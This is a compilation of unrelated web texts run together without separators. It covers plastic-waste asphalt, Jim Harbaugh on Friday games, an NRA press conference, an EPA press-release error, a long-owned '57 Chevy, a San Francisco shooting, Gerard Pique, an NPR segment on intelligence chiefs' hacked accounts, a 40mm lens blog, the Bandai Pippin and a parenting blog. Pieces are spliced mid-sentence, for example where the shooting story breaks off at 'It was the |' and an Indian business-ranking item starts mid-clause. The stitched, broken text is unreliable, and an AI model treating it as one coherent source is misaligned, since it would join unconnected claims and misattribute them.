U.K. entrepreneur and engineer Toby McCartney has been working to change that, courtesy of technology that allows for the creation of high quality road asphalt out of recycled plastic waste. With the innovative tech, he now wants to use discarded plastic from landfills to transform millions of kilometers of roads around the world.
“We take waste plastic that is destined for landfill sites and recycle it,” McCartney told Digital Trends. “What we’re able to do is to take this plastic that has been thrown away, and use a special formula to clean it off, create pellets using it, and then use those pellets to add to a mixture of rocks and bitumen to make longer-lasting roads.”
So far, the scheme has won the approval of Virgin founder Sir Richard Branson, and McCartney’s company MacRebur has gotten the support of two local governments in England to start using its MR6 product to build their roads.
McCartney describes the technology as a “real win-win across the industry.” It lessens the reliance on fossil fuels due to the reduction in oil that needs to be used as part of the formulation, helps cut down on waste plastic going to landfill, and improves the streets we drive on. The plastic-based road asphalt made by MacRebur is 60 percent tougher than standard asphalt. By tweaking the recipe, the surface can also be modified for different environments.
In addition, it saves money for all involved. Companies that sell the waste plastic to McCartney save money by not being taxed for sending material to landfill. Local governments save money because they get a longer-lasting road which needs less maintenance. Drivers save money because they’re driving on better roads, with fewer potholes. And McCartney and his colleagues save money because, well, they’re being paid for their work.
Next up, he says the plan is to expand to new countries — although he noted that this must be done the right way.
“Something we’re very conscious of is that we’re still classed as a startup,” McCartney said. “We don’t want to grow too quickly, because we want the infrastructure in place to produce our pellets. We’re aware of dealing with over-demand, which would leave us unable to fulfill orders. As a result, we’re being very careful in selecting the countries that we’re expanding into.”Michigan coach Jim Harbaugh supports many of the Big Ten’s football proposals.
But he’s vigorously against Friday night conference games.
“I am not for it at all,” Harbaugh said today on the Rich Eisen radio show. “Friday night is for high school football.”
RELATED: Northwestern’s Friday night games moved because Pat Fitzergald believes in high school football
Michigan was never scheduled to be part of that proposal as U-M reportedly told the Big Ten it would not agree to playing on Fridays, even though many of the conference teams were scheduled to do so.
A few of those initial scheduled games have since moved to Saturdays. The Big Ten’s athletic director meetings last month featured a spirited debate about the topic. Northwestern athletic director Jim Phillips’ school was assigned two Friday games, including one against Michigan State, and moved them.
While many college football proposals become a slippery slope and only expand their reach, Harbaugh thinks the Friday football could push back.
“There’s a way that’ll happen,” Harbaugh said. “Sometimes the pendulum swings one way and they do something that’s not productive for the game of football and then has the ability to swing back the other way. I don’t know that that is set in stone, nor should it be… The opposition to playing college football games on Friday nights should be voiced.”Google The difference is that LaPierre did this to himself.
The National Rifle Association has been in a tough spot since the shootings in Newtown, Connecticut. As an advocacy group for gun manufactuers and a particular set of gun enthusiasts, it has no interest in new gun-control regulations. But as a powerful political force, it has to say something—otherwise, it’s vulnerable to continued criticism.
This morning, NRA president Wayne LaPierre held a press conference—occasionally interrupted by protesters—in which he explained where the organization stood in light of last week’s violence. But rather than stand behind the modest gun-regulation efforts brewing in Congress or even offer a simple message of condolence, LaPierre decided to go on the offensive, blaming everything from video games, movies,and music—Natural Born Killers, a 20-year-old film, received a shoutout—to Obama’s budget for the proliferation of mass shooters.
In fact, the media came in for wide criticism: “A child growing up in America today witnesses 16,000 murders, and 200,000 acts of violence by the time he or she reaches the ripe old age of 18,” said LaPierre, “And, throughout it all, too many in the national media, their corporate owners, and their stockholders act as silent enablers, if not complicit co-conspirators.” The obvious implication to all of this was that someone ought to limit what media outlets can show, lest it leads to further violence—this despite the fact that there is no known connection between violent media and actual acts of violence.
But those statements, evasive and disingenuous as they were, paled in comparison to LaPierre’s proposal for dealing with school violence. Taking a page from Republican politicians like Virginia Governor Bob McDonnell, LaPierre has proposed a plan for mass arming of the nation’s schools. Here’s his rationale, expressed early in the press conference:
We care about our money, so we protect our banks with armed guards. American airports, office buildings, power plants, court houses, even sports stadiums are all protected by armed security. We care about our president, so we protect him with armed Secret Service agents. Members of Congress work in offices surrounded by Capitol Police officers. Yet, when it comes to our most beloved, innocent, and vulnerable members of the American family, our children, we as a society leave them every day utterly defenseless, and the monsters and the predators of the world know it, and exploit it.
“The only thing that stops a bad guy with a gun is a good guy with a gun,” declared LaPierre, and as such, he argued, “Before Congress reconvenes … we need to have every single school in America immediately deploy a protection program proven to work and by that I mean armed security.”
In other words, the small-government NRA—which shouts whenever politicians discuss the most modest new rules and regulations on firearms—wants a new program of armed guards in every public school—all 100,000 of them. As LaPierre put it:
[W]hat if when Adam Lanza started shooting his way into Sandy Hook Elementary School last Friday, he’d been confronted by qualified armed security? Will you at least admit it’s possible that 26 little kids, that 26 innocent lives might have been spared that day?
Watching the press conference, it’s hard to understand why the NRA is so influential. LaPierre’s statement—his diagnosis of gun violence, his prognosis for solving the problem—bears little relation to the world as it exists. LaPierre rambled throughout, and at various points, he veered into outright fantasy, describing a United States beset by predators, as if violent crime hasn’t taken a sharp decline over the last twenty years.
Indeed, if there’s anything to take away from this press conference, it’s that politicians should not be afraid of the NRA. It’s mystique is gone. With only 4 million members—and a reactionary, embarassing president—it is a force that can and should be reckoned with. The curtain is open, and Wayne LaPierre has revealed himself—and his organization—as nothing more than ordinary.Like the rest of nature that evolves remarkably to stresses in the environment, people will be able to adapt to high gas prices. Really. In many parts of Europe, people are paying upwards of $7 – $8/gallon of gas.
Things will change here in the USA. These changes will sometimes more difficult for some than others. More of us are already using public transportation, riding bikes — even moving closer to where we work or pressuring employers to offer flextime (to avoid rush hours) or telecommuting from home. In part thanks to the mushrooming energy costs, how much of business was done in the period of relatively inexpensive oil and other fossil fuels will morph into a new model of business model where energy costs are front and center.
Another trend: the explosion of people starting their own green business as an ecopreneur, operating their business without destroying the planet or exploiting people. Energy conservation and efficiency are often the very DNA of these enterprises. Eventually, the politicians in Washington DC might realize that opening up ANWR merely delays the reality that we need to cut our addiction to oil, for climate’s sake. We need to get back to 350 parts per million of carbon dioxide to maintain some degree of climate stability. Burning more oil, coal or natural gas is not the way.
There are many financial benefits of becoming a business, depending on how you structure it. Not only are businesses taxed after their expenses have been deducted, but many legitimate deductions are available to a small business that reduce its reported earnings — like the use of your personal car for business-related and documented use.
Owners of vehicles that are used for business purposes can deduct those miles associated with business use and be reimbursed for mileage by the business. For example, when we drive to speak at a Green Festival, MREA Renewable Energy and Sustainable Living Fair, or to visit a client, we reimburse ourselves at the IRS specified rate. Make sure to maintain a vehicle travel mileage log for each vehicle used for business purposes.
Making Money from your FUEL EFFICIENT Vehicle
One of our discoveries we write about in ECOpreneuring is the tax benefit of using our fuel-efficient vehicle for business purposes. Every year, the IRS sets the reimbursable rate for the business use of your vehicle, based on national fleet repair and maintenance averages and fuel costs, both of which are rising. We get the same rate whether we drive a super-fuel-efficient Toyota Prius or Volkswagen Jetta TDI (diesel) versus a low-mileage Hummer. It turns out we’ve managed to make money off each business mile we put on our Volkswagen Jetta TDI because the cost of operating and fueling it is less than for other new and less fuel-efficient vehicles.
How? First, we only buy used vehicles because as soon as most new vehicles are driven off the dealer’s lot, they lose about 25 percent of their value. Second, by the time we might sell our used vehicle with years of reimbursed business miles paid to us as owners, the cost of the vehicle would have broken even. For example, one year we might have 7,193 business related miles put on our VW Jetta, multiplied by the IRS designated rate (2007) of $.445/mile, resulting in the business reimbursing us for the business use of the car to the tune of $3,200. Keep in mind that this expense item reduces the reported earnings of the business by $3,200 as well.
So if you have to drive, why not create a green business where you can at least deduct your miles related to business use of your vehicle? By the way, when we can, we put B100 (100 percent biodiesel) or B10 (locally secured from a Smart Station) in our Jetta. Our other vehicle exclusively used for business is an all-electric CitiCar. We also work from our home office, completely powered by the wind and sun.
Photo Credit: scotech at Flickr (under a Creative Commons license)Two days after President Donald Trump signed an executive order rolling back Barack Obama’s Climate Action Plan, easing fracking restrictions and reversing the previous administration’s efforts to shrink America’s carbon footprint, the Environmental Protection Agency sent out a press release intended to congratulate the president for his bold leadership. The agency included quotes from groups like the American Coalition for Clean Coal Electricity, the Chamber of Commerce, and the American Petroleum Institute, all of whom heaped praise on Trump. But the e-mail also contained an unexpected message—one attributed to West Virginia Republican senator Shelley Moore Capito, a longtime supporter of the coal industry in her home state.
“President Trump has chosen to recklessly bury his head in the sand,” the quote attributed to Capito read. “Walking away from the Clean Power Plan and other climate initiatives, including critical resiliency projects is not just irresponsible— it's irrational.” It continued: “With the world watching, President Trump and Administrator Pruitt have chosen to shirk our responsibility, disregard clear science and undo the significant progress our country has made to ensure we leave a better, more sustainable planet for generations to come.”
There were three apparent problems with the quote, which was featured prominently atop the E.P.A.’s press release. First, it wasn’t exactly a ringing endorsement of Trump’s executive order. Second, the release misspelled the senator’s first name. And third, Capito never actually said any of that. The E.P.A. accidentally attributed the quote to Capito, when it had actually come from Democratic senator Tom Carper of Delaware, the Democrat leading the Environment and Public Works Committee. Oops.
In reality, Capito’s statement praised Trump for signing the executive order: “If fully implemented, the Clean Power Plan would have completely decimated West Virginia’s vital coal industry while having no meaningful climate impact,” Moore said. “I was honored to join the president for the signing of this Executive Order, and I look forward to continuing working with the Trump administration to advance environmentally responsible policies that grow the economy—not kill jobs.”
The misattribution, the E.P.A. said, was the result of human error. “An internal draft was mistakenly sent with a quote that belonged to Senator Carper but was wrongly attributed to Senator Capito, whom we originally meant to quote,” a spokesperson told Mother Jones. “We apologize for the error and are making sure that our process is improved as we build our team.” The agency later sent out a corrected version.
Barack Obama FOLLOW Follow to get the latest news and analysis about the players in your inbox. See All PlayersThis is the love story between a woman and her car. It has thrived for decades and shows no signs of slowing down.
Who is this lady who may hold the record for the longest single person ownership of a ’57 Chevy, at least outside of Cuba?
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In 1957 Miss Grace Braeger of West Bend, was having car problems with her 1950 Chevy. So she went to King Braeger in Milwaukee so the dealer emblem on the back would match her name. “My name, of course, is Braeger, so I thought, ‘I have to go to King Braeger to buy my car,’ ” she said.Once there, a ’57 Chevrolet Bel Air caught her eye. There she traded her old car, plus $2,250 dollars for a salesman’s demo 1957 Chevy with 4,239 miles on it. She hasn’t driven a single other car since then.
60 years ago, this Chevy was the top of the line car, since it had power brakes, power steering and a four-barrel carburetor fed the hungry V-8 engine that was the standard at the time for a luxury vehicle.
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In 1987 Ms. Braeger had the body restored. “The doors were taken off, the insides were removed, so the floorboards could be replaced, and the dash was taken apart so it could be repainted, and so forth,” she says. But the drivetrain went untouched.
One thing that undoubtedly helped preserve the engine was oil changes every thousand miles. (In those days, a lube and oil change was standard every 2,000 miles.) In its nearly one hundred and nineteen thousand miles – slightly less than 2,000 miles a year- the engine has never had a major repair.
When asked about the pleasure of driving, she refers neither to the sound and feel of the 4 barrel, 283 cubic inch V8, nor to the presumably deep satisfaction of a long-term relationship between human and machine, but once again to the people smiling and giving her the thumbs up. She says “It’s like having my own car show on the street!”Changes are in the works at Dempsey Racing for 2015, which will see the Patrick Dempsey and Joe Foster-owned squad expand to Europe while potentially scaling back its involvement in the TUDOR United SportsCar Championship.
Foster confirmed to Sportscar365 that the team will announce its international program next month at the LA Auto Show, including full sponsorship for the effort.
Dempsey Racing’s two previous overseas outings came at the 24 Hours of Le Mans, including a fourth place GTE-Am class finish in a Porsche 911 GT3 RSR run in cooperation with Proton Competition.
The Hollywood actor/racer, meanwhile, hasn’t hidden his ambitions of competing in a full season of the FIA World Endurance Championship, should the right partners fall into place for such a program.
On the domestic front, Foster denied reports of the Georgia-based team shutting its doors, but admitted they could be faced with a reduced TUDOR Championship effort, largely due to higher-than-expected operating costs.
“We’re doing the best we can to stay in the series,” Foster told Sportscar365. “Last year, we were the first team to put two full-season entries in. We still feel that level of commitment, we just have to make the business case work.”
Foster said the operating costs of each of the team’s Porsche 911 GT Americas ended up being $1 million more than its 2013 budget in the GTC class of the American Le Mans Series.
Talks have continued on the possible continuation of the Snow Racing program, which the team adopted mid-season, although Foster said he’s yet to confirm any full-season GTD entry for the team.
However, he remains optimistic in the expansion of its effort in the IMSA-sanctioned Porsche GT3 Cup Challenge series.
“We’re trying to put TUDOR programs together and our intent is also to expand the GT3 Cup side,” Foster said. “We only ran two cars [in Porsche GT3 Cup Challenge) this year and we’d like to run four next year.
“The car count in the stable may indeed go up, even if we don’t run TUDOR full-time.”Midday shooting in SF’s Outer Sunset leaves teenager dead
A 16-year-old boy was killed Monday afternoon when someone opened fire on a car he apparently was driving in the Outer Sunset neighborhood of San Francisco, police said.
The teenager, whose name was not immediately released, died at a hospital after being shot in the lower body in the area of Sunset Boulevard, between Kirkham and Lawton streets, just after noon, according to Officer Giselle Talkoff, a spokeswoman for the San Francisco Police Department.
Talkoff said it appeared the teenager was driving a white car when someone shot at the vehicle. A passenger in the car was not injured, she said.
A teenager was shot around noon on Monday on Sunset Boulevard between Kirkham and Lawton streets, according to police. A teenager was shot around noon on Monday on Sunset Boulevard between Kirkham and Lawton streets, according to police. Photo: Stephen Lam, Special To The Chronicle Buy photo Photo: Stephen Lam, Special To The Chronicle Image 1 of / 29 Caption Close Midday shooting in SF’s Outer Sunset leaves teenager dead 1 / 29 Back to Gallery
No suspects were immediately identified and the circumstances of the shooting were under investigation, she added.
At the site of the shooting, a crime scene technician examined a white Pontiac with some clothes piled on the hood. The driver’s side of the car was studded with bullet holes, but the windows appeared to be intact.
The shooting happened on a residential block lined with houses in an area that typically doesn’t see much violence.
“It’s extremely unusual and not something we like to see,” San Francisco Police Lt. Kevin Noble said at the scene of the shooting.
But Joe Rihny, who said tools were stolen from the bed of his truck recently, said he’s noticed an uptick in crime in the neighborhood.
“Every day, every day we have problems in the Sunset. Trouble we never used to have,” said Rihny, 62, who has lived in the area for 28 years.
It was the |
the National Company Law Tribunal (NCLT).
• To further improve the country’s ranking in the indicator of ‘Getting Credit’ from its present ranking of 44, the department of financial services and the ministry of corporate affairs will work towards integrating the CERSAI (Central Registry of Securitisation Asset Reconstruction and Security Interest) database with the Registrar of Company (ROC) to create a single registry of assets.
• Under “Enforcing Contracts" indicator, where India ranks poorly at 172, commerce and industry minister Nirmala Sitharaman urged that eCourts should be expedited for electronic filing of complaints, summons and payments especially in the commercial courts.
• On ‘Construction Permit’, urban development secretary said the procedures will be brought down to eight within 60 days. Jaitley asked the department to explore the possibility of commencing the construction on architect’s certification and approval granted only at the time of the occupancy of the building.The defender has been booed by fans of La Roja in the last two games and is also being unfairly targeted by the media for his political views and mocking of Barca's big rivals
COMMENT By Ben Hayward
Gerard Pique is a marked man. The Catalan centre-back is at the eye of another storm after he was booed by Spain fans on Saturday night and then caught on camera emerging from a nightclub in the early hours of Sunday morning. Despite returning to his best on the pitch, he continues to court controversy off it.The 28-year-old's international career looked very much in the balance a year ago as he struggled at the World Cup in Brazil, was dropped by coach Vicente del Bosque (even while others were just as bad or arguably even worse) and then punished by Barcelona boss Luis Enrique too as he was left out for four league matches in a row.Pique sought the advice of former defensive partner and club captain Carles Puyol and admitted in an interview that he no longer considered himself one of the best centre-backs in the world. That was a challenge to himself to regain the fantastic form he had shown between 2008 and 2012. And against the odds, he managed it with some peerless performances in the second half of 2014-15, making himself an immovable object at the back as Barca won the treble.But during the celebrations at Camp Nou, Pique poked fun at Real Madrid and Cristiano Ronaldo as he said: "Thanks Kevin Roldan - it all started with you!". That was a reference to the Colombian singer's appearance at the Portuguese's controversial 30th birthday party in the capital, which came just hours after Los Blancos had suffered a damaging defeat against Atletico in La Liga, losing 4-0 to their city rivals at the Vicente Calderon.
Real are of course a hugely popular club throughout Spain and Pique's words did not go down well with many fans of La Roja. In their next match, against Costa Rica in Leon, the centre-back was jeered by fans as he got off the team bus, outside the hotel and also when his name was read out by the stadium announcer.
Suspended for the 1-0 win in Belarus three days later, the defender returned to the starting line-up against Slovakia in Oviedo on Saturday night and was booed by a sector of supporters every time he touched the ball, while others offered cheers to drown out the jeers.
"Pique is committed," Pedro said the following day. "I don't think the whistles will affect him. Let's hope this is resolved quickly." Barca team-mate Jordi Alba added: "I don't think it's right at all. He's always committed to the national team and always says he's honoured to play for Spain. People are free to form their own opinions on players, but I don't like it when they boo Pique or anyone else."
Hours later, however, a video of Pique emerging from a nightclub in Gijon was all over the Spanish press. In the footage filmed at 6am on Sunday morning, the player is seen being escorted to a waiting car amid shouts of "Pique, you're drunk!"
FULL STORY | Del Bosque: Pique partied with my permission
Spain coach Del Bosque later told the media his player had been allowed to go out - even though Spain will travel to Macedonia for Tuesday's Euro 2016 qualifier. "Pique had permission," he said. "It doesn't bother me."
What most media failed to report was that Pique was accompanied on his night out by several Spain team-mates. With him were Sergio Ramos, David De Gea, Juanfran, Pedro, Cesc Fabregas and David Silva. Only one player was targeted by the media, however. As usual, Pique is seemingly paying the price for his celebrity lifestyle - and perhaps falling foul of a little politics as well.
Aside from provoking Madrid in Barca's treble celebrations, Pique has also antagonised some Spain fans (and media) with his open support for a poll on Catalan independence and his decision to express himself on social media in his native language. His views, however, are no different to those of other Spain heroes from recent times gone by, such as Xavi, and he has clearly been singled out by both supporters and the press.
On Monday morning, Madrid-based newspaper AS then reported that a friendly match between Spain and England planned for the Santiago Bernabeu in November will now be moved to Alicante in order to avoid further controversy and boos for the defender in what for him is considered enemy territory.
"The Pique thing is shameful," Del Bosque said on Saturday night. "It's unpleasant to boo a player from the Spanish national team. And he plays so well. If people came along to watch football, they would appreciate him and not boo him."Meanwhile, Barca team-mate Andres Iniesta said: "We have to stop this immediately. All of us need to be pushing in the same direction in order to achieve success."Pique has been an important part of Spain's success in recent years, starting in the teams that won the World Cup in 2010 and then the European Championship in 2012.Some supporters and media appear to prefer politics and club conficts to football, however, and Pique's problems look set to continue for some time to come - whether he deserves it or not.WELCOME
Welcome to our independent and non-profit resource, which focuses on Paxil withdrawal and related problems. Here we are going to share with you whatever information we have about the condition. This website is non-confessional.
There are a good deal of documented evidence proving that cessation of Paxil therapy may cause severe withdrawal symptoms. There is no telling what percentage of Paxil users, who stop taking the drug, become afflicted or not. Neither do we know if symptoms start immediately after missing just one dose or just reducing the intake, not stopping it.
We are not talking you out of using Paxil or encouraging you to take more than you are taking now. Our goal is to focus on Paxil withdrawal symptoms and helping Paxil users to survive them.How many times have we heard that we need to be careful about what we post within our "personal" brand because our "professional" brand could be hurt? That's a lie.
It's 2012. The future is here. If I can land a 747 heavy on Fifth Avenue with the technology embedded in my wristwatch, it's time to stop thinking that our brands will "one day merge into one."
They already have - years ago, in fact. We're the ones who need to adjust.
Every single day, someone directs me to their LinkedIn profile to learn more about them. You know what I do when they do that? I go right to Facebook and search on their name there. Why? Because I know they're on their best behavior on LinkedIn, but on Facebook, they're going to be "real." Guess what? I'm not the only person who thinks this way.
You simply have to realize that everything you post online, whether you believe it to be "professional" or "personal" is personal. It all is. Every last photo, comment, and check-in. It's all about who you are.
Let's face it: You don't "shut off" at 5:30pm. If you're a spokesperson for a company, what makes you any less that spokesperson simply because it's 1:30 am and you've had nine tequila shots? Nothing. You need to be smarter. I'm not saying don't have fun - but I am saying you need to be aware that everything you do, both on the clock and off, affects your brand. And your brand is all you have.
True story: I was giving a speech at a college graduation two years ago. I mentioned to the graduates that were going to have to be smarter now that anyone can search on anything. Someone actually raised their hand and told me that their profile on Facebook was limited to "only their closest friends," so I was wrong.
I nodded, then asked a simple question to the audience: "Is anyone in the audience a friend of this woman on Facebook?"
Immediately, several hands shot up. I pointed to the first person there, and reached into my wallet. "So, here's a hundred bucks. Can I login to Facebook as you?" He ran onstage, took my hundred bucks, and logged in from my computer, which was connected to a giant screen above my head.
Looking directly at the woman who first told me I was wrong, I said the following: "You have as long as it takes me to look up your name and broadcast your photos on this giant screen above my head to tell me that I'm not wrong, and that you haven't thought this issue through."
Three seconds later, she apologized in front of her graduating class, and had learned a valuable lesson.
There is no professional or personal anymore. There's simply your brand. Everything you do affects your brand, and it's up to you to determine whether your brand is affected positively or negatively. That's it. Anyone who tells you otherwise is wrong.
Peter Shankman is small business evangelist at Vocus.When The People In Charge Of U.S. Cybersecurity Get Hacked
Director of National Intelligence James Clapper says his home email and phone accounts have been hacked. CIA Director John Brennan's private accounts were targeted in October. What lessons can be learned?
ARI SHAPIRO, HOST:
A few days ago, the director of National Intelligence, James Clapper, admitted that he had been hacked. No state secrets or classified intelligence went missing. It was his personal email and phone accounts that were hacked by a teenager. The revelation came just months after the CIA director's personal email was also targeted. It got NPR's Mary Louise Kelly wondering who's next.
MARY LOUISE KELLY, BYLINE: When you start calling around security experts, asking what they make of the news that the top intelligence official in the country has been hacked, you hear - well, you hear chuckles.
AMIT YORAN: (Laughter) Sure. Clearly these types of compromises are an embarrassment.
KELLY: That's Amit Yoran. He's former director of cybersecurity for the Department of Homeland Security. As you can hear, he appreciates the irony that the people charged with protecting the nation's cybersecurity can't protect their own. But Yoran, who's now president of the network security company RSA, says on another level, it's no laughing matter. Even if national security weren't compromised, hackers still may have gleaned valuable information.
YORAN: So what is the tone in various communications? Who's inside his circle of trust? You know, what are his family interests and things like that which doesn't seem to have a whole lot of, you know, value at its face, but when you dig in, there's actually stuff which can be used down the road.
KELLY: Stuff which can be used down the road - that's exactly what CIA Chief John Brennan said he was worried about when his private AOL account was breached last October and details like his wife's Social Security number ended up online.
(SOUNDBITE OF ARCHIVED RECORDING)
JOHN BRENNAN: I was certainly outraged by it. I certainly was concerned about what people might try to do with that information.
KELLY: This prompts the question. Should officials operating at the very highest levels of national security be using private email accounts? Robert Knake was, until last year, the director of cybersecurity policy for the National Security Council at the White House. He argues spy chiefs like Brennan and Clapper don't have much choice.
ROBERT KNAKE: If you're a government employee, you're not supposed to be using your DNI or CIA or Department of Homeland Security email address for anything other than business purposes. What it would introduce is a situation in which you would be making government records out of your mortgage statements.
KELLY: That's right, mortgage statements, birthday messages to nieces and nephews. Knake points out that senior government officials have personal lives like the rest of us, which means they should try, like the rest of us, to follow the golden rule of the Internet era. Don't type anything you wouldn't want to see on the front page of the newspaper tomorrow.
KNAKE: A harder lesson is don't receive anything that you wouldn't want on the front page tomorrow.
KELLY: Meaning even if officials practice scrupulous online security - and there's no suggestion that Clapper or Brennan did otherwise - they can't control who emails them. Knake, now at the Council on Foreign Relations, says that's one way cyber intruders can get in. One possible solution - quitting free email providers like Yahoo and Gmail and moving to paid services that use voice or facial recognition. The days of using passwords to protect data may be numbered.
But public figures like the head of the CIA will be targets no matter what precautions they take, says Tony Cole. He's the global government chief technology officer at FireEye, a security company. Cole says hackers are always eyeing the next big prize - OK, like who?
TONY COLE: I wouldn't be surprised if someone hasn't tried diligently to go after the NSA director and others at that level, maybe in the White House.
KELLY: The National Security Agency and the White House surely know this and are working just as hard not to become the next spymasters to be spied on. Mary Louise Kelly, NPR News, Washington.
Copyright © 2016 NPR. All rights reserved. Visit our website terms of use and permissions pages at www.npr.org for further information.
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Just as I thought I was falling out of love with my G6, the little and loved Panasonic 20mm f1.7 MKII waltzed its way through the post to my door and found itself married to my G6’s mount. For most photographers after their first prime, it’s either 35mm or 50mm, whatever happened to humble old 40mm through the years?
A small, Eritrean Cafe. The 40mm is just wide enough from where I was sat.
With Micro Four Thirds users, the 20mm F1.7 still keeps that option alive being a classic for the system. The lens itself is quite handsome, compact, with a generous maximum aperture and good sharpness, and contrast makes it very ideal. It’s only let down by its slightly clunky focusing system. But this isn’t meant to be another review for the Lumix 20mm considering I’m talking more about what it’s been like with the 40mm focal length (thanks to the 2x crop factor).
Now that I’ve spent a year with it, shooting in all conditions and situations, I think this is my focal length when it comes to a ‘normal’ lens. My ‘photographer’s vision’, if you will, now sees in 40mm-vision. Admittedly, to some, 40mm seems neither here or there when you take the 35mm and 50mm focal lengths into consideration. Both of which have their fans depending on how or what you photograph, but for myself, I’m quite comfortable with either as a walk around.
35mm is considered wide, but not wide enough for my tastes. I’d prefer a 24mm or 28mm as a wide, and crop in if need be. The 50mm focal length, as much as it flexible for many things, is just a tad too long for me as a walkabout lens. Both focal lengths seem to just tickle being wide angle and short telephoto. The 40mm, (particularly this one with its lack of visible distortion), is just right. Not wide, or long. It’s simply right for my tastes.
Perhaps my favourite thing about the 40mm focal length is how normal it is. Others may find that boring, I find it to be quite photojournalistic, and what makes it ideal for an everyday lens in all situations. I’ve always wanted to be a photojournalist but considering I’m down the route of an English teacher, the most I can do is play pretend with this lens when I’m out and about.
No, really, I behave like I’m a photojournalist out on assignment with friends when I have this lens with me.
Like any other lens that has its place and purposes for use, the 40mm focal length will undoubtedly have its weakness. In my use, the only time I felt like I wanted a little length was when taking a picture of something up close, to lose any distractions in the background with composition and bokeh. In tight rooms you may find yourself backing up a little bit, but for the most part I haven’t found this to be a problem.
The Lumix 20mm f1.7 has served me well in many environments. Processed with VSCO with b5 preset.
What I like about the above photo, is that it isn’t so wide to give it that ‘look’, nor too compressed to give it that ‘look’, you know what I mean. Those ‘looks’ have their places but I have certainly enjoyed this more neutral ‘look’ with my out and about photos. Everyone and everything in the environment looks respective to where it was when I took the photo.
Even when taking a few steps in for this shot, there is some compression, but nothing here looks wildly crushed. The pathway leading up to the cathedral from the gate looks very natural and true to life. To my eyes, it seems very natural. What about you?
You can get relatively nice looking portraits with a 40mm lens too, being unable to get the permission of someone to take their portrait for a blog post and myself not being too willing, my pet rooster below will have to do. He’s quite a handsome little bugger if I do say so myself.
This was quite up close to him. If you take a few steps back, you can get quite nice ‘environmental portraits’. The smaller sensor of my G6 may not yield as my bokeh though, even wide open. Processed with VSCO with b5 preset.
This lens has been stuck to my G6 ever since I got it, have I ever yearned for a zoom lens since then? Quite simply no. If there’s anything I’d like to add to my kit is a wide angle, 24mm preferably and a short telephoto. Indoors, outdoors, in fields, in the city, with family or in the garden, 40mm has served me loyally. It’s quite a useful focal length when you think about it, ‘just right’.
It makes me wonder how, or why for that matter, the 40mm became left behind in the ‘first prime lens’ choice. Manufacturers do have it available, but crop factor can become an issue. Perhaps considering 40mm is the ‘in between’ of the oh-so-popular-with-first-prime-buyers 35mm and 50mm focal lengths, this would get buyers ripping their hair out from even more choice. Or, maybe it would solve them? The best of both worlds in between. Being neither obviously wide or tele, I never worry about the edges with distortion, or that I’ll be too close to my subject and lose the context of their surroundings.
If only people who were torn between 35mm or 50mm would consider the humble 40mm, maybe then it would make the choice a lot easier?
Have you shot with a 40mm lens before? Liked it, hated it? Don’t be shy to leave a comment, and as always thanks for reading.
More pictures taken in 40mm with my Panasonic 20mm f1.7:
The two (hipster) jars for a muffin milkshake look as close to each other as they did with my eye.
It’s no fancy tundra here, but the 40mm focal length could be a viable choice for landscape work.
Taken from inside the car, I would have preferred to get out for this one.
Taken from a bridge. I wouldn’t have liked this to be any wider or closer.
This taken quite close, as you can see there looks like there is some compression there with the background.
You can’t see it from here, but those skewer handles are meant to look like fish.
Considering each respective mount has a 40mm lens available, it makes me wonder why so many people seem to neglect it. More sample images below:
The fish handle skewers! This is me trying to be ‘photojournalistic’, and get in close with ‘moments’.
Traditional Eritrean food, that I have forgotten the name of sadly.
Some nice bokeh here.
Small table where coffee is prepared in an Eritrean cafe.
And served.Marketing Edit
In Japan, Bandai produced Pippin-based systems called the Pippin Atmark (ピピンアットマーク, Pipin Attomāku). Most of the Atmark systems used the same platinum color used on many of the Apple Macintosh models at the time. In the United States and most parts of Europe, Bandai named the system the Bandai Pippin @WORLD (pronounced "at-world"). The @WORLD had the same specifications as the Pippin Atmark, but ran an English version of Mac OS. Most of the western systems used a black color.
History Edit
Further information: Apple Pippin Bandai manufactured fewer than 100,000 Pippins, but reportedly sold 42,000 systems before discontinuing the line. Production of the system was so limited, there were more keyboard and modem accessories produced than actual systems.[4] In May 2006, the Pippin placed 22nd in PC World's list of the "25 Worst Tech Products of All Time."[5]
Software Edit
Accessories Edit
An AppleJack controller AppleJack controller
AppleJack Wireless (IR) controller
Pippin keyboard with drawing tablet
Pippin Modems (14.4, 28.8, 33.6 kbit/s)
Pippin memory (2, 4, 8, 16 MB)
Pippin Floppy Dock
Pippin MO 256 MB optical disk
Pippin ADB adapter (for connecting Macintosh devices to Pippin)
Pippin to Macintosh (ADB) adapter (for connecting Pippin devices to Macintosh)
Printers Edit
Pippin can use the Apple Color StyleWriter 2400 and 2500 series through its serial port.
See also EditA lot has been going on the last few weeks… we started at school, we turned the big two, we had loads of vaccinations, we’ve been all over California visiting friends and family… My head is spinning. Essentially, besides having a really great summer (even though it was over 105 for at least 4 weeks straight out here on the multi-sun, outer-rim outpost planet of Ridgecrest) we have also learned quite a bit. I don’t think what we have learned out weighs what we have unlearned in the face of the great mysteries of the universe, parenthood and all things earthly, but I’m hopeful it its a good start.
Mysteries? Riddle me this – if a Birthday is the anniversary of childbirth why doesn’t the mom get the gifts? I’m serious. I should at least get to pick the theme for the bouncy house. Hope you like Spiderman kiddo, because Hello Kitty is right out.
Going to “school” has been quite the trip, it isn’t really “school” so I’m hoping this isn’t really “what I’m in for” for the next 15 years…..
Typical school morning:
Maddi wakes up. Enjoys some cuddle time on the couch. Watches some cartoons. Drinks her morning smoothie. Then I slowly start in with the “We are going to go see the kids today, are you excited? Do you want to go play with the kids?” She shoots me a look out of the corner of her eye and pretends she didn’t hear me. It is at that point the fun begins…
First trip to the car: my purse, baseball cap, sunglasses, Maddi’s day bag.
Maddi is still on the couch watching cartoons and drinking smoothie. I walk quietly to her room to find an outfit for school, diaper, socks and sneakers. Walk back to couch with items behind my back as to not cause alarm or suspicion. Dog lifts head off couch and stretches in anticipation of morning acrobatics. Sneak up behind couch potato and start to lift off pajama top.
Toddler bolts. Dog starts barking. Both head light speed to the kitchen. Maddi pushes past dog and runs at a sprint down the hall to her room. Dog picks this moment in time to discover how awesome my toes are, successfully tripping me and sending me into the fridge door.
Toddler scream-laughing from her bedroom with one naked arm flailing and half of her face covered by unsuccessful pajama top removal. Corner smoothie-crazed toddler and remove the pajama top. Replace pajama top with new shirt. Toddler breaks free and heads back to cartoons.
Chase toddler back down the hall towards living room. Attempt to get toddler interested in cartoons so I can get the pajama bottoms off. Dog decides he needs to go out. Break off from toddler to put dog outside. Return to couch. No toddler anywhere to be found. Giggles heard from kitchen.
